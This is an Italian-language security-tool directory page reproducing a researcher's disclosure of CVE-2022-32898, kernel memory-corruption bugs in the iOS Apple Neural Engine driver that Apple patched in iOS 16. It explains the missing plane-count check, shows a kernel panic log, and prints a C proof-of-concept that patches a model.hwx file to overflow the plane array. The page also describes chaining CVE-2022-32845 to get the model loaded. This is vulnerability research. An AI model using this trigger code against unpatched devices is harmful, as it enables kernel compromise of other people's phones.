Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-32898 | Kitploit
Strumenti/GitHubGitHub/ox1111/cve-2022-32898
Sicurezza iOSAnalisi delle VulnerabilitàExploitReverse EngineeringSicurezza MobileSicurezza HardwareBinary Exploitation
GitHubox1111/cve-2022-32898

CVE-2022-32898

Vedi Repository
2 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-32898: ANE_ProgramCreate() molteplici corruzioni della memoria del kernel

23 novembre 2022 • Mohamed GHANNAM (@_simo36)

Commento dell'autore

Condivido altre due vulnerabilità del kernel iOS raggiungibili dalla sandbox predefinita delle app che non richiedono di aprire un UserClient:

4

16+ bug del kernel che ho segnalato ad Apple sono stati corretti in iOS 16/16.1. Terrò un talk su come ho concatenato alcuni bug per ottenere kernel r/w al #POC2022 il mese prossimo, e l'exploit per il kernel di iOS 15 sarà rilasciato insieme ad alcune altre vulnerabilità ad alto impatto dopo la conferenza.

La mia funzionalità preferita di IDA 8.0 finora: import artificiali dei metodi Obj-C 4

In iOS 15.5 beta 3, Apple ha rimosso IOMallocAligned(KHEAP_DEFAULT,...) da IOSharedDataQueue/IODataQueue::initWithCapacity() (ora usa kernel_memory_allocate() con il flag KMA_DATA). Era una tecnica elegante per manipolare l'heap predefinito del kernel con dati controllati dall'utente. RIP

6

Introduzione:

Mentre facevo reverse engineering del processo con cui l'Apple Neural Engine carica un modello a livello di kernel, ho identificato due interessanti vulnerabilità di corruzione della memoria nel codice responsabile dell'elaborazione delle caratteristiche della rete neurale in H11ANEIn::ANE_ProgramCreate_gated(). Questo tipo di vulnerabilità, secondo me, è facile da trovare quando si audita manualmente il driver del kernel, ma quasi impossibile da individuare con i fuzzer a meno che non si costruisca qualcosa di incredibilmente sofisticato.

Analisi:

Le funzioni ZinComputeProgramGetNamesFromMultiPlaneLinear() e ZinComputeProgramGetNamesFromMultiPlaneTiledCompressed() sono entrambe responsabili del parsing dell'input e dell'output della procedura, o più precisamente, del comando LC_THREAD con thread flavor 2 (ane_bind_state) il cui valore binding_type_info è 4 e 5.

Da quello che posso dire, binding_type_info = 4 significa che l'input di una procedura ha più di un piano, e binding_type_info = 5 significa che l'input non solo ha più di un piano ma è anche compresso.

La funzione ZinComputeProgramGetNamesFromMultiPlaneLinear(), ad esempio, accetta 5 argomenti: un puntatore a load command, un puntatore a thread binding e tre argomenti di output aggiuntivi. L'ultimo argomento di output planes è un array che conterrà i piani, o puntatori al kernel, i cui contenuti sono controllati dall'utente, e l'ultimo argomento planeCount indicherà quanti piani (o puntatori al kernel) sono stati copiati in planes dal file model.hwx. Di seguito è riportata la definizione della funzione:

1

A causa della mancanza di validazione di quanti piani un modello può fornire, i puntatori al kernel potrebbero essere scritti fuori dai limiti dell'array planes, portando potenzialmente a molti interessanti scenari di corruzione della memoria.

Trasformare la corruzione della memoria in overflow dello stack:

L'array planes è una variabile di stack situata in H11ANEIn::ANE_ProgramCreate_gated(), e facendo overflow di questa variabile (che dovrebbe contenere più piani fino a 4 elementi) con più di 4 piani, anche altre variabili di stack potrebbero essere corrotte, il che potrebbe portare ad altri problemi come la type confusion, poiché i puntatori al kernel sovrascritti sono completamente sotto il controllo dell'utente.

Ovviamente, fare overflow dell'array planes con troppe voci probabilmente sovrascriverebbe anche lo stack cookie e il vecchio puntatore salvato del frame di stack, provocando un kernel panic. Fortunatamente, il numero totale di piani è interamente sotto il controllo del modello fornito, quindi possiamo corrompere diverse variabili di stack senza intaccare quelle aree sensibili dello stack.

Trasformare la corruzione della memoria in heap overflow:

Un altro scenario interessante, come illustrato nell'immagine qui sotto, è la possibilità di fare overflow di due oggetti heap: H11ANEProgramBindingInfo (alla riga 528) e H11ANEProgramCreateArgsStructOutput (alla riga 533).

2

root@kitploit:~
struct H11ANEProgramBindingInfo
{
        struct {
                uint32_t field_0;
                char names[8][512];
                uint32_t field_1004;
                char *procedure_name;
        } inputs[255], outputs[255];

};

La definizione della struttura di H11ANEProgramCreateArgsStructOutput è mostrata qui sopra, e corromperla potrebbe causare i seguenti crash:

root@kitploit:~
"panicString" : "panic(cpu 4 caller 0xfffffe00112e6184): Kernel data abort. at pc 0xfffffe0010a8a48c, lr 0x03effe0011b1b47c (saved state: 0xfffffe6089dca980)
  x0:  0x1122334411223344 x1:  0xfffffe3000ecff20  x2:  0x0000000000000040  x3:  0x0000000000000000
  x4:  0x0000000000000000 x5:  0x0000000000000000  x6:  0x00000000000000e8  x7:  0x0000000000000830
  x8:  0xfffffe608949c000 x9:  0xfffffe24cec0d1b0  x10: 0xfffffe24cd7d4010  x11: 0xfffffe1667fa93e0
  x12: 0x0000000000000001 x13: 0x0000000000000858  x14: 0xfffffe3000ed0760  x15: 0x00292a20736d6172
  x16: 0x5bd9fe0010a8a470 x17: 0xfffffe0013ad55d8  x18: 0x0000000000000000  x19: 0x0000000000000000
  x20: 0x0000000000000001 x21: 0xfffffe1b33ee3860  x22: 0xfffffe299a621a00  x23: 0xfffffe2999c72208
  x24: 0xfffffe3000ec0000 x25: 0x00000000e00002d1  x26: 0xfffffe608949c000  x27: 0xfffffe60895a2054
  x28: 0xfffffe6089dcb850 fp:  0xfffffe6089dcacd0  lr:  0x03effe0011b1b47c  sp:  0xfffffe6089dcacd0
  pc:  0xfffffe0010a8a48c cpsr: 0x00401208         esr: 0x96000004          far: 0x1122334411223344

Attivare la vulnerabilità:

Ciò che rende interessanti queste vulnerabilità è che non richiedono di interagire direttamente con il kernel, in altre parole, non c'è bisogno di aprire una connessione UserClient: basta semplicemente compilare (o creare) un modello dannoso e lasciare che aned lo carichi per conto tuo.

Come forse saprai, per caricare qualsiasi modello tramite aned, il modello deve essere compilato dal servizio di sistema ANECompilerService o firmato da Apple. In altre parole, l'app deve fornire una directory .mlmodelc ad aned, che poi richiederà ad ANECompilerService di compilarlo in model.hwx usando due framework chiamati Espresso e ANECompiler. Se non sai di cosa sto parlando, sei invitato a dare un'occhiata alle slide #POC2022 qui dove ho fornito una panoramica di base su come funziona aned. Inoltre, puoi ottenere maggiori dettagli sul processo di compilazione dall'eccellente BlackHat talk di Wish Wu riguardo alla sua ricerca su ANE e anche il suo grande tool che imita esattamente ciò che fa ANECompilerService.

Nel nostro caso, abbiamo bisogno di un model.hwx con una procedura il cui input (o output) supporti più piani. Sfortunatamente, nessun modello del genere è disponibile nei formati mlmodel, mlmodelc o mlpackage, e solo pochi modelli in formato hwx sono forniti da Apple. Ispezionando questi modelli hwx è emerso che utilizzano alcune operazioni di rete neurale strane/non documentate che non esistono nel codebase della libreria open source coremltools, suggerendo che questi layer di rete sono probabilmente destinati solo a uso interno. Tuttavia, l'implementazione di queste operazioni è definita dal framework Espresso, ed è necessario un po' di reverse engineering per capire quali input e output supportano e come usarli correttamente come layer all'interno di una rete neurale. Poiché il framework è scritto in C++ con STL, non avevo alcun interesse a fare reverse engineering di questa operazione perché ci sarebbe voluto per sempre.

Questa è stata la ragione principale che mi ha portato a scoprire CVE-2022-32845, che non solo mi ha permesso di evitare di fare reverse engineering di questo spaventoso framework, ma mi ha anche risparmiato centinaia di ore di studio di argomenti avanzati di Machine Learning.

Quindi ho preso un semplice model.hwx e ho patchato uno dei suoi comandi LC_THREAD per replicare il risultato desiderato in ane_bind_state, e poi ho sfruttato CVE-2022-32845 per ingannare aned e fargli caricare il modello come se fosse stato firmato da Apple; e questo è bastato per dimostrare la vulnerabilità ad Apple.

La funzione che patcha il modello è mostrata qui sotto, e puoi prendere in prestito un po' di codice dal mio exploit del kernel weightBufs se vuoi attivare la vulnerabilità da solo.

root@kitploit:~
void patch_hwx(const mach_header_64 *mh,size_t mh_size)
{
        if((mh->magic != 0xfeedface) && (mh->magic != 0xbeefface)) {
                dbg("[-] Bad Mach-O file \n");
                return ;
        }

        struct load_command *lc = NULL;

        FOR_EACH_COMMAND {

                if (lc->cmd != LC_THREAD)
                        continue;

                dbg("LC_THREAD command found \n");

                compute_thread_command *thread = (compute_thread_command *)lc;
                u32 name_off = 0;
                switch (thread->flavor) {
                case THREAD_BINDING: {
                        name_off = *(uint32_t*)((char*)thread + 0x18);
                        dbg("Binding Name \n");
                        compute_thread_binding * bd =
                                (compute_thread_binding *)&thread->thread_states;

                        bd->binding_typeinfo = 4;
                        bd->field4 = 1;

                        u32 plane_count = 0x30;
                        char *buf_start = (char*)lc + 0x20;
                        *(u32 *) buf_start = 0;
                        *(u32 *) (buf_start + 0x10) = plane_count;
                        char *_ptr = buf_start + 0x6C;
                        int i = 0;
                        uint64_t off = 0;

                        do {
                                if(off == 0)
                                        off = (unsigned int)(_ptr + 4 - (char*)mh) + 8 ;
                                *(unsigned int *)_ptr = mh_size;

                                u64 *pp = (u64 *)&_ptr[4];
                                for(int k = 0; k < 4;k++)
                                        pp[k] = 0x1122334411223344;
                                _ptr += 0x68;

                        }while (i++ < plane_count);

                        patched = true;

                        return;
                }
                case THREAD_PROCEDURE_OPERATION:
                case THREAD_PROCEDURE:
                default:
                        break;
                }

                dbg("\t ProcedureName '%s' \n",(char*)thread + name_off);

        }

}

La patch:

Apple ha risolto il problema in iOS 16 introducendo alcuni controlli di validazione in entrambe le funzioni vulnerabili, limitando a quattro voci il numero di piani fornito, come mostrato di seguito: 3

È tutto per ora, a presto!

Scarica lo strumento